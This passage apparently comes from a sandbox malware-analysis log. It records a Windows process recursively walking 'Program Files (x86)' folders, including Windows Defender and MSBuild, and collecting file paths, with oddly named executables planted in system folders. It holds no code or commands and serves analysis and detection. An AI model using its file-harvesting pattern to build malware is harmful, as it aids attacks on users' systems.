lstrcmpW (lpString1="..", lpString2=".") returned 1 [0029.985] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0029.985] FindNextFileW (in: hFindFile=0x795a28, lpFindFileData=0x45ee24 | out: lpFindFileData=0x45ee24) returned 1 [0029.985] lstrcmpW (lpString1="maintenanceservice.exe", lpString2=".") returned 1 [0029.985] lstrcmpW (lpString1="maintenanceservice.exe", lpString2="..") returned 1 [0029.985] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Maintenance Service\\") returned 51 [0029.985] lstrlenW (lpString="maintenanceservice.exe") returned 22 [0029.985] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Maintenance Service\\", lpString2="maintenanceservice.exe" | out: lpString1="c:\\Program Files (x86)\\Mozilla Maintenance Service\\maintenanceservice.exe") returned="c:\\Program Files (x86)\\Mozilla Maintenance Service\\maintenanceservice.exe" [0029.985] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Maintenance Service\\maintenanceservice.exe") returned 73 [0029.985] lstrcpyW (in: lpString1=0x4659f8, lpString2="c:\\Program Files (x86)\\Mozilla Maintenance Service\\maintenanceservice.exe" | out: lpString1="c:\\Program Files (x86)\\Mozilla Maintenance Service\\maintenanceservice.exe") returned="c:\\Program Files (x86)\\Mozilla Maintenance Service\\maintenanceservice.exe" [0029.985] FindNextFileW (in: hFindFile=0x795a28, lpFindFileData=0x45ee24 | out: lpFindFileData=0x45ee24) returned 1 [0029.985] lstrcmpW (lpString1="Uninstall.exe", lpString2=".") returned 1 [0029.985] lstrcmpW (lpString1="Uninstall.exe", lpString2="..") returned 1 [0029.985] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Maintenance Service\\") returned 51 [0029.985] lstrlenW (lpString="Uninstall.exe") returned 13 [0029.985] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Maintenance Service\\", lpString2="Uninstall.exe" | out: lpString1="c:\\Program Files (x86)\\Mozilla Maintenance Service\\Uninstall.exe") returned="c:\\Program Files (x86)\\Mozilla Maintenance Service\\Uninstall.exe" [0029.985] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Maintenance Service\\Uninstall.exe") returned 64 [0029.985] lstrcpyW (in: lpString1=0x465a98, lpString2="c:\\Program Files (x86)\\Mozilla Maintenance Service\\Uninstall.exe" | out: lpString1="c:\\Program Files (x86)\\Mozilla Maintenance Service\\Uninstall.exe") returned="c:\\Program Files (x86)\\Mozilla Maintenance Service\\Uninstall.exe" [0029.985] FindNextFileW (in: hFindFile=0x795a28, lpFindFileData=0x45ee24 | out: lpFindFileData=0x45ee24) returned 1 [0029.985] lstrcmpW (lpString1="updater.ini", lpString2=".") returned 1 [0029.985] lstrcmpW (lpString1="updater.ini", lpString2="..") returned 1 [0029.985] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Maintenance Service\\") returned 51 [0029.985] lstrlenW (lpString="updater.ini") returned 11 [0029.985] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Maintenance Service\\", lpString2="updater.ini" | out: lpString1="c:\\Program Files (x86)\\Mozilla Maintenance Service\\updater.ini") returned="c:\\Program Files (x86)\\Mozilla Maintenance Service\\updater.ini" [0029.985] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Maintenance Service\\updater.ini") returned 62 [0029.985] lstrcpyW (in: lpString1=0x462468, lpString2="c:\\Program Files (x86)\\Mozilla Maintenance Service\\updater.ini" | out: lpString1="c:\\Program Files (x86)\\Mozilla Maintenance Service\\updater.ini") returned="c:\\Program Files (x86)\\Mozilla Maintenance Service\\updater.ini" [0029.985] FindNextFileW (in: hFindFile=0x795a28, lpFindFileData=0x45ee24 | out: lpFindFileData=0x45ee24) returned 0 [0029.985] FindClose (in: hFindFile=0x795a28 | out: hFindFile=0x795a28) returned 1 [0029.986] FindNextFileW (in: hFindFile=0x7959e8, lpFindFileData=0x45f0e0 | out: lpFindFileData=0x45f0e0) returned 1 [0029.986] lstrcmpW (lpString1="MSBuild", lpString2=".") returned 1 [0029.986] lstrcmpW (lpString1="MSBuild", lpString2="..") returned 1 [0029.986] lstrlenW (lpString="c:\\Program Files (x86)\\") returned 23 [0029.986] lstrlenW (lpString="MSBuild") returned 7 [0029.986] lstrcatW (in: lpString1="c:\\Program Files (x86)\\", lpString2="MSBuild" | out: lpString1="c:\\Program Files (x86)\\MSBuild") returned="c:\\Program Files (x86)\\MSBuild" [0029.986] lstrcatW (in: lpString1="c:\\Program Files (x86)\\MSBuild", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\MSBuild\\") returned="c:\\Program Files (x86)\\MSBuild\\" [0029.986] lstrlenW (lpString="c:\\Program Files (x86)\\MSBuild\\") returned 31 [0029.986] lstrcatW (in: lpString1="c:\\Program Files (x86)\\MSBuild\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\MSBuild\\*") returned="c:\\Program Files (x86)\\MSBuild\\*" [0029.986] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\MSBuild\\*", lpFindFileData=0x45ee24 | out: lpFindFileData=0x45ee24) returned 0x795a28 [0029.986] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0029.986] FindNextFileW (in: hFindFile=0x795a28, lpFindFileData=0x45ee24 | out: lpFindFileData=0x45ee24) returned 1 [0029.986] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0029.986] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0029.986] FindNextFileW (in: hFindFile=0x795a28, lpFindFileData=0x45ee24 | out: lpFindFileData=0x45ee24) returned 1 [0029.986] lstrcmpW (lpString1="ausarrivedrepresentative.exe", lpString2=".") returned 1 [0029.986] lstrcmpW (lpString1="ausarrivedrepresentative.exe", lpString2="..") returned 1 [0029.986] lstrlenW (lpString="c:\\Program Files (x86)\\MSBuild\\") returned 31 [0029.986] lstrlenW (lpString="ausarrivedrepresentative.exe") returned 28 [0029.986] lstrcatW (in: lpString1="c:\\Program Files (x86)\\MSBuild\\", lpString2="ausarrivedrepresentative.exe" | out: lpString1="c:\\Program Files (x86)\\MSBuild\\ausarrivedrepresentative.exe") returned="c:\\Program Files (x86)\\MSBuild\\ausarrivedrepresentative.exe" [0029.986] lstrlenW (lpString="c:\\Program Files (x86)\\MSBuild\\ausarrivedrepresentative.exe") returned 59 [0029.986] lstrcpyW (in: lpString1=0x465b40, lpString2="c:\\Program Files (x86)\\MSBuild\\ausarrivedrepresentative.exe" | out: lpString1="c:\\Program Files (x86)\\MSBuild\\ausarrivedrepresentative.exe") returned="c:\\Program Files (x86)\\MSBuild\\ausarrivedrepresentative.exe" [0029.986] FindNextFileW (in: hFindFile=0x795a28, lpFindFileData=0x45ee24 | out: lpFindFileData=0x45ee24) returned 1 [0029.986] lstrcmpW (lpString1="Microsoft", lpString2=".") returned 1 [0029.986] lstrcmpW (lpString1="Microsoft", lpString2="..") returned 1 [0029.986] lstrlenW (lpString="c:\\Program Files (x86)\\MSBuild\\") returned 31 [0029.986] lstrlenW (lpString="Microsoft") returned 9 [0029.986] lstrcatW (in: lpString1="c:\\Program Files (x86)\\MSBuild\\", lpString2="Microsoft" | out: lpString1="c:\\Program Files (x86)\\MSBuild\\Microsoft") returned="c:\\Program Files (x86)\\MSBuild\\Microsoft" [0029.987] lstrcatW (in: lpString1="c:\\Program Files (x86)\\MSBuild\\Microsoft", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\MSBuild\\Microsoft\\") returned="c:\\Program Files (x86)\\MSBuild\\Microsoft\\" [0029.987] lstrlenW (lpString="c:\\Program Files (x86)\\MSBuild\\Microsoft\\") returned 41 [0029.987] lstrcatW (in: lpString1="c:\\Program Files (x86)\\MSBuild\\Microsoft\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\MSBuild\\Microsoft\\*") returned="c:\\Program Files (x86)\\MSBuild\\Microsoft\\*" [0029.987] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\MSBuild\\Microsoft\\*", lpFindFileData=0x45eb68 | out: lpFindFileData=0x45eb68) returned 0x795a68 [0029.987] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0029.987] FindNextFileW (in: hFindFile=0x795a68, lpFindFileData=0x45eb68 | out: lpFindFileData=0x45eb68) returned 1 [0029.987] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0029.987] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0029.987] FindNextFileW (in: hFindFile=0x795a68, lpFindFileData=0x45eb68 | out: lpFindFileData=0x45eb68) returned 1 [0029.987] lstrcmpW (lpString1="Windows Workflow Foundation", lpString2=".") returned 1 [0029.987] lstrcmpW (lpString1="Windows Workflow Foundation", lpString2="..") returned 1 [0029.987] lstrlenW (lpString="c:\\Program Files (x86)\\MSBuild\\Microsoft\\") returned 41 [0029.987] lstrlenW (lpString="Windows Workflow Foundation") returned 27 [0029.987] lstrcatW (in: lpString1="c:\\Program Files (x86)\\MSBuild\\Microsoft\\", lpString2="Windows Workflow Foundation" | out: lpString1="c:\\Program Files (x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation") returned="c:\\Program Files (x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation" [0029.987] FindNextFileW (in: hFindFile=0x795a68, lpFindFileData=0x45eb68 | out: lpFindFileData=0x45eb68) returned 0 [0029.987] FindClose (in: hFindFile=0x795a68 | out: hFindFile=0x795a68) returned 1 [0029.987] FindNextFileW (in: hFindFile=0x795a28, lpFindFileData=0x45ee24 | out: lpFindFileData=0x45ee24) returned 0 [0029.987] FindClose (in: hFindFile=0x795a28 | out: hFindFile=0x795a28) returned 1 [0029.987] FindNextFileW (in: hFindFile=0x7959e8, lpFindFileData=0x45f0e0 | out: lpFindFileData=0x45f0e0) returned 1 [0029.987] lstrcmpW (lpString1="Reference Assemblies", lpString2=".") returned 1 [0029.987] lstrcmpW (lpString1="Reference Assemblies", lpString2="..") returned 1 [0029.987] lstrlenW (lpString="c:\\Program Files (x86)\\") returned 23 [0029.987] lstrlenW (lpString="Reference Assemblies") returned 20 [0029.987] lstrcatW (in: lpString1="c:\\Program Files (x86)\\", lpString2="Reference Assemblies" | out: lpString1="c:\\Program Files (x86)\\Reference Assemblies") returned="c:\\Program Files (x86)\\Reference Assemblies" [0029.987] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Reference Assemblies", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\Reference Assemblies\\") returned="c:\\Program Files (x86)\\Reference Assemblies\\" [0029.987] lstrlenW (lpString="c:\\Program Files (x86)\\Reference Assemblies\\") returned 44 [0029.987] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Reference Assemblies\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\Reference Assemblies\\*") returned="c:\\Program Files (x86)\\Reference Assemblies\\*" [0029.987] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\Reference Assemblies\\*", lpFindFileData=0x45ee24 | out: lpFindFileData=0x45ee24) returned 0x795a28 [0029.987] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0029.987] FindNextFileW (in: hFindFile=0x795a28, lpFindFileData=0x45ee24 | out: lpFindFileData=0x45ee24) returned 1 [0029.987] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0029.987] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0029.987] FindNextFileW (in: hFindFile=0x795a28, lpFindFileData=0x45ee24 | out: lpFindFileData=0x45ee24) returned 1 [0029.987] lstrcmpW (lpString1="Microsoft", lpString2=".") returned 1 [0029.988] lstrcmpW (lpString1="Microsoft", lpString2="..") returned 1 [0029.988] lstrlenW (lpString="c:\\Program Files (x86)\\Reference Assemblies\\") returned 44 [0029.988] lstrlenW (lpString="Microsoft") returned 9 [0029.988] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Reference Assemblies\\", lpString2="Microsoft" | out: lpString1="c:\\Program Files (x86)\\Reference Assemblies\\Microsoft") returned="c:\\Program Files (x86)\\Reference Assemblies\\Microsoft" [0029.988] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Reference Assemblies\\Microsoft", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\") returned="c:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\" [0029.988] lstrlenW (lpString="c:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\") returned 54 [0029.988] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\*") returned="c:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\*" [0029.988] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\*", lpFindFileData=0x45eb68 | out: lpFindFileData=0x45eb68) returned 0x795a68 [0029.988] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0029.988] FindNextFileW (in: hFindFile=0x795a68, lpFindFileData=0x45eb68 | out: lpFindFileData=0x45eb68) returned 1 [0029.988] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0029.988] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0029.988] FindNextFileW (in: hFindFile=0x795a68, lpFindFileData=0x45eb68 | out: lpFindFileData=0x45eb68) returned 1 [0029.988] lstrcmpW (lpString1="Framework", lpString2=".") returned 1 [0029.988] lstrcmpW (lpString1="Framework", lpString2="..") returned 1 [0029.988] lstrlenW (lpString="c:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\") returned 54 [0029.988] lstrlenW (lpString="Framework") returned 9 [0029.988] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\", lpString2="Framework" | out: lpString1="c:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework") returned="c:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework" [0029.988] FindNextFileW (in: hFindFile=0x795a68, lpFindFileData=0x45eb68 | out: lpFindFileData=0x45eb68) returned 0 [0029.988] FindClose (in: hFindFile=0x795a68 | out: hFindFile=0x795a68) returned 1 [0029.988] FindNextFileW (in: hFindFile=0x795a28, lpFindFileData=0x45ee24 | out: lpFindFileData=0x45ee24) returned 0 [0029.988] FindClose (in: hFindFile=0x795a28 | out: hFindFile=0x795a28) returned 1 [0029.988] FindNextFileW (in: hFindFile=0x7959e8, lpFindFileData=0x45f0e0 | out: lpFindFileData=0x45f0e0) returned 1 [0029.988] lstrcmpW (lpString1="Uninstall Information", lpString2=".") returned 1 [0029.988] lstrcmpW (lpString1="Uninstall Information", lpString2="..") returned 1 [0029.988] lstrlenW (lpString="c:\\Program Files (x86)\\") returned 23 [0029.988] lstrlenW (lpString="Uninstall Information") returned 21 [0029.988] lstrcatW (in: lpString1="c:\\Program Files (x86)\\", lpString2="Uninstall Information" | out: lpString1="c:\\Program Files (x86)\\Uninstall Information") returned="c:\\Program Files (x86)\\Uninstall Information" [0029.988] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Uninstall Information", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\Uninstall Information\\") returned="c:\\Program Files (x86)\\Uninstall Information\\" [0029.988] lstrlenW (lpString="c:\\Program Files (x86)\\Uninstall Information\\") returned 45 [0029.988] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Uninstall Information\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\Uninstall Information\\*") returned="c:\\Program Files (x86)\\Uninstall Information\\*" [0029.988] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\Uninstall Information\\*", lpFindFileData=0x45ee24 | out: lpFindFileData=0x45ee24) returned 0x795a28 [0029.988] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0029.988] FindNextFileW (in: hFindFile=0x795a28, lpFindFileData=0x45ee24 | out: lpFindFileData=0x45ee24) returned 1 [0029.989] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0029.989] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0029.989] FindNextFileW (in: hFindFile=0x795a28, lpFindFileData=0x45ee24 | out: lpFindFileData=0x45ee24) returned 0 [0029.989] FindClose (in: hFindFile=0x795a28 | out: hFindFile=0x795a28) returned 1 [0029.989] FindNextFileW (in: hFindFile=0x7959e8, lpFindFileData=0x45f0e0 | out: lpFindFileData=0x45f0e0) returned 1 [0029.989] lstrcmpW (lpString1="Windows Defender", lpString2=".") returned 1 [0029.989] lstrcmpW (lpString1="Windows Defender", lpString2="..") returned 1 [0029.989] lstrlenW (lpString="c:\\Program Files (x86)\\") returned 23 [0029.989] lstrlenW (lpString="Windows Defender") returned 16 [0029.989] lstrcatW (in: lpString1="c:\\Program Files (x86)\\", lpString2="Windows Defender" | out: lpString1="c:\\Program Files (x86)\\Windows Defender") returned="c:\\Program Files (x86)\\Windows Defender" [0029.989] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Defender", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\Windows Defender\\") returned="c:\\Program Files (x86)\\Windows Defender\\" [0029.989] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Defender\\") returned 40 [0029.989] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Defender\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\Windows Defender\\*") returned="c:\\Program Files (x86)\\Windows Defender\\*" [0029.989] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\Windows Defender\\*", lpFindFileData=0x45ee24 | out: lpFindFileData=0x45ee24) returned 0x795a28 [0029.989] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0029.989] FindNextFileW (in: hFindFile=0x795a28, lpFindFileData=0x45ee24 | out: lpFindFileData=0x45ee24) returned 1 [0029.989] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0029.989] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0029.989] FindNextFileW (in: hFindFile=0x795a28, lpFindFileData=0x45ee24 | out: lpFindFileData=0x45ee24) returned 1 [0029.989] lstrcmpW (lpString1="en-US", lpString2=".") returned 1 [0029.989] lstrcmpW (lpString1="en-US", lpString2="..") returned 1 [0029.989] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Defender\\") returned 40 [0029.989] lstrlenW (lpString="en-US") returned 5 [0029.989] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Defender\\", lpString2="en-US" | out: lpString1="c:\\Program Files (x86)\\Windows Defender\\en-US") returned="c:\\Program Files (x86)\\Windows Defender\\en-US" [0029.989] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Defender\\en-US", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\Windows Defender\\en-US\\") returned="c:\\Program Files (x86)\\Windows Defender\\en-US\\" [0029.989] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Defender\\en-US\\") returned 46 [0029.989] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Defender\\en-US\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\Windows Defender\\en-US\\*") returned="c:\\Program Files (x86)\\Windows Defender\\en-US\\*" [0029.989] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\Windows Defender\\en-US\\*", lpFindFileData=0x45eb68 | out: lpFindFileData=0x45eb68) returned 0x795a68 [0029.989] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0029.989] FindNextFileW (in: hFindFile=0x795a68, lpFindFileData=0x45eb68 | out: lpFindFileData=0x45eb68) returned 1 [0029.989] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0029.989] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0029.989] FindNextFileW (in: hFindFile=0x795a68, lpFindFileData=0x45eb68 | out: lpFindFileData=0x45eb68) returned 1 [0029.989] lstrcmpW (lpString1="MpAsDesc.dll.mui", lpString2=".") returned 1 [0029.989] lstrcmpW (lpString1="MpAsDesc.dll.mui", lpString2="..") returned 1 [0029.989] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Defender\\en-US\\") returned 46 [0029.989] lstrlenW (lpString="MpAsDesc.dll.mui") returned 16 [0029.989] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Defender\\en-US\\", lpString2="MpAsDesc.dll.mui" | out: lpString1="c:\\Program Files (x86)\\Windows Defender\\en-US\\MpAsDesc.dll.mui") returned="c:\\Program Files (x86)\\Windows Defender\\en-US\\MpAsDesc.dll.mui" [0029.989] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Defender\\en-US\\MpAsDesc.dll.mui") returned 62 [0029.989] lstrcpyW (in: lpString1=0x4624f0, lpString2="c:\\Program Files (x86)\\Windows Defender\\en-US\\MpAsDesc.dll.mui" | out: lpString1="c:\\Program Files (x86)\\Windows Defender\\en-US\\MpAsDesc.dll.mui") returned="c:\\Program Files (x86)\\Windows Defender\\en-US\\MpAsDesc.dll.mui" [0029.990] FindNextFileW (in: hFindFile=0x795a68, lpFindFileData=0x45eb68 | out: lpFindFileData=0x45eb68) returned 1 [0029.990] lstrcmpW (lpString1="MpEvMsg.dll.mui", lpString2=".") returned 1 [0029.990] lstrcmpW (lpString1="MpEvMsg.dll.mui", lpString2="..") returned 1 [0029.990] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Defender\\en-US\\") returned 46 [0029.990] lstrlenW (lpString="MpEvMsg.dll.mui") returned 15 [0029.990] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Defender\\en-US\\", lpString2="MpEvMsg.dll.mui" | out: lpString1="c:\\Program Files (x86)\\Windows Defender\\en-US\\MpEvMsg.dll.mui") returned="c:\\Program Files (x86)\\Windows Defender\\en-US\\MpEvMsg.dll.mui" [0029.990] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Defender\\en-US\\MpEvMsg.dll.mui") returned 61 [0029.990] lstrcpyW (in: lpString1=0x462578, lpString2="c:\\Program Files (x86)\\Windows Defender\\en-US\\MpEvMsg.dll.mui" | out: lpString1="c:\\Program Files (x86)\\Windows Defender\\en-US\\MpEvMsg.dll.mui") returned="c:\\Program Files (x86)\\Windows Defender\\en-US\\MpEvMsg.dll.mui" [0029.990] FindNextFileW (in: hFindFile=0x795a68, lpFindFileData=0x45eb68 | out: lpFindFileData=0x45eb68) returned 0 [0029.990] FindClose (in: hFindFile=0x795a68 | out: hFindFile=0x795a68) returned 1 [0029.990] FindNextFileW (in: hFindFile=0x795a28, lpFindFileData=0x45ee24 | out: lpFindFileData=0x45ee24) returned 1 [0029.990] lstrcmpW (lpString1="MpAsDesc.dll", lpString2=".") returned 1 [0029.990] lstrcmpW (lpString1="MpAsDesc.dll", lpString2="..") returned 1 [0029.990] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Defender\\") returned 40 [0029.990] lstrlenW (lpString="MpAsDesc.dll") returned 12 [0029.990] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Defender\\", lpString2="MpAsDesc.dll" | out: lpString1="c:\\Program Files (x86)\\Windows Defender\\MpAsDesc.dll") returned="c:\\Program Files (x86)\\Windows Defender\\MpAsDesc.dll" [0029.990] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Defender\\MpAsDesc.dll") returned 52 [0029.990] lstrcpyW (in: lpString1=0x460b28, lpString2="c:\\Program Files (x86)\\Windows Defender\\MpAsDesc.dll" | out: lpString1="c:\\Program Files (x86)\\Windows Defender\\MpAsDesc.dll") returned="c:\\Program Files (x86)\\Windows Defender\\MpAsDesc.dll" [0029.990] FindNextFileW (in: hFindFile=0x795a28, lpFindFileData=0x45ee24 | out: lpFindFileData=0x45ee24) returned 1 [0029.990] lstrcmpW (lpString1="MpClient.dll", lpString2=".") returned 1 [0029.990] lstrcmpW (lpString1="MpClient.dll", lpString2="..") returned 1 [0029.990] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Defender\\") returned 40 [0029.990] lstrlenW (lpString="MpClient.dll") returned 12 [0029.990] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Defender\\", lpString2="MpClient.dll" | out: lpString1="c:\\Program Files (x86)\\Windows Defender\\MpClient.dll") returned="c:\\Program Files (x86)\\Windows Defender\\MpClient.dll" [0029.990] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Defender\\MpClient.dll") returned 52 [0029.990] lstrcpyW (in: lpString1=0x460ba0, lpString2="c:\\Program Files (x86)\\Windows Defender\\MpClient.dll" | out: lpString1="c:\\Program Files (x86)\\Windows Defender\\MpClient.dll") returned="c:\\Program Files (x86)\\Windows Defender\\MpClient.dll" [0029.990] FindNextFileW (in: hFindFile=0x795a28, lpFindFileData=0x45ee24 | out: lpFindFileData=0x45ee24) returned 1 [0029.990] lstrcmpW (lpString1="MpOAV.dll", lpString2=".") returned 1 [0029.990] lstrcmpW (lpString1="MpOAV.dll", lpString2="..") returned 1 [0029.990] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Defender\\") returned 40 [0029.990] lstrlenW (lpString="MpOAV.dll") returned 9 [0029.990] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Defender\\", lpString2="MpOAV.dll" | out: lpString1="c:\\Program Files (x86)\\Windows Defender\\MpOAV.dll") returned="c:\\Program Files (x86)\\Windows Defender\\MpOAV.dll" [0029.990] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Defender\\MpOAV.dll") returned 49 [0029.990] lstrcpyW (in: lpString1=0x464b08, lpString2="c:\\Program Files (x86)\\Windows Defender\\MpOAV.dll" | out: lpString1="c:\\Program Files (x86)\\Windows Defender\\MpOAV.dll") returned="c:\\Program Files (x86)\\Windows Defender\\MpOAV.dll" [0029.990] FindNextFileW (in: hFindFile=0x795a28, lpFindFileData=0x45ee24 | out: lpFindFileData=0x45ee24) returned 1 [0029.990] lstrcmpW (lpString1="MsMpLics.dll", lpString2=".") returned 1 [0029.990] lstrcmpW (lpString1="MsMpLics.dll", lpString2="..") returned 1 [0029.990] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Defender\\") returned 40 [0029.990] lstrlenW (lpString="MsMpLics.dll") returned 12 [0029.990] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Defender\\", lpString2="MsMpLics.dll" | out: lpString1="c:\\Program Files (x86)\\Windows Defender\\MsMpLics.dll") returned="c:\\Program Files (x86)\\Windows Defender\\MsMpLics.dll" [0029.990] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Defender\\MsMpLics.dll") returned 52 [0029.990] lstrcpyW (in: lpString1=0x460c18, lpString2="c:\\Program Files (x86)\\Windows Defender\\MsMpLics.dll" | out: lpString1="c:\\Program Files (x86)\\Windows Defender\\MsMpLics.dll") returned="c:\\Program Files (x86)\\Windows Defender\\MsMpLics.dll" [0029.990] FindNextFileW (in: hFindFile=0x795a28, lpFindFileData=0x45ee24 | out: lpFindFileData=0x45ee24) returned 1 [0029.990] lstrcmpW (lpString1="thumbnailsopen.exe", lpString2=".") returned 1 [0029.990] lstrcmpW (lpString1="thumbnailsopen.exe", lpString2="..") returned 1 [0029.990] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Defender\\") returned 40 [0029.990] lstrlenW (lpString="thumbnailsopen.exe") returned 18 [0029.990] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Defender\\", lpString2="thumbnailsopen.exe" | out: lpString1="c:\\Program Files (x86)\\Windows Defender\\thumbnailsopen.exe") returned="c:\\Program Files (x86)\\Windows Defender\\thumbnailsopen.exe" [0029.990] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Defender\\thumbnailsopen.exe") returned 58 [0029.990] lstrcpyW (in: lpString1=0x465bc0, lpString2="c:\\Program Files (x86)\\Windows Defender\\thumbnailsopen.exe" | out: lpString1="c:\\Program Files (x86)\\Windows Defender\\thumbnailsopen.exe") returned="c:\\Program Files (x86)\\Windows Defender\\thumbnailsopen.exe" [0029.991] FindNextFileW (in: hFindFile=0x795a28, lpFindFileData=0x45ee24 | out: lpFindFileData=0x45ee24) returned 0 [0029.991] FindClose (in: hFindFile=0x795a28 | out: hFindFile=0x795a28) returned 1 [0029.991] FindNextFileW (in: hFindFile=0x7959e8, lpFindFileData=0x45f0e0 | out: lpFindFileData=0x45f0e0) returned 1 [0029.991] lstrcmpW (lpString1="Windows Mail", lpString2=".") returned 1 [0029.991] lstrcmpW (lpString1="Windows Mail", lpString2="..") returned 1 [0029.991] lstrlenW (lpString="c:\\Program Files (x86)\\") returned 23 [0029.991] lstrlenW (lpString="Windows Mail") returned 12 [0029.991] lstrcatW (in: lpString1="c:\\Program Files (x86)\\", lpString2="Windows Mail" | out: lpString1="c:\\Program Files (x86)\\Windows Mail") returned="c:\\Program Files (x86)\\Windows Mail" [0029.991] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Mail", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\Windows Mail\\") returned="c:\\Program Files (x86)\\Windows Mail\\" [0029.991] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Mail\\") returned 36 [0029.991] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Mail\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\Windows Mail\\*") returned="c:\\Program Files (x86)\\Windows Mail\\*" [0029.991] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\Windows Mail\\*", lpFindFileData=0x45ee24 | out: lpFindFileData=0x45ee24) returned 0x795a28 [0030.000] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0030.000] FindNextFileW (in: hFindFile=0x795a28, lpFindFileData=0x45ee24 | out: lpFindFileData=0x45ee24) returned 1 [0030.000] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0030.000] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0030.000] FindNextFileW (in: hFindFile=0x795a28, lpFindFileData=0x45ee24 | out: lpFindFileData=0x45ee24) returned 1 [0030.000] lstrcmpW 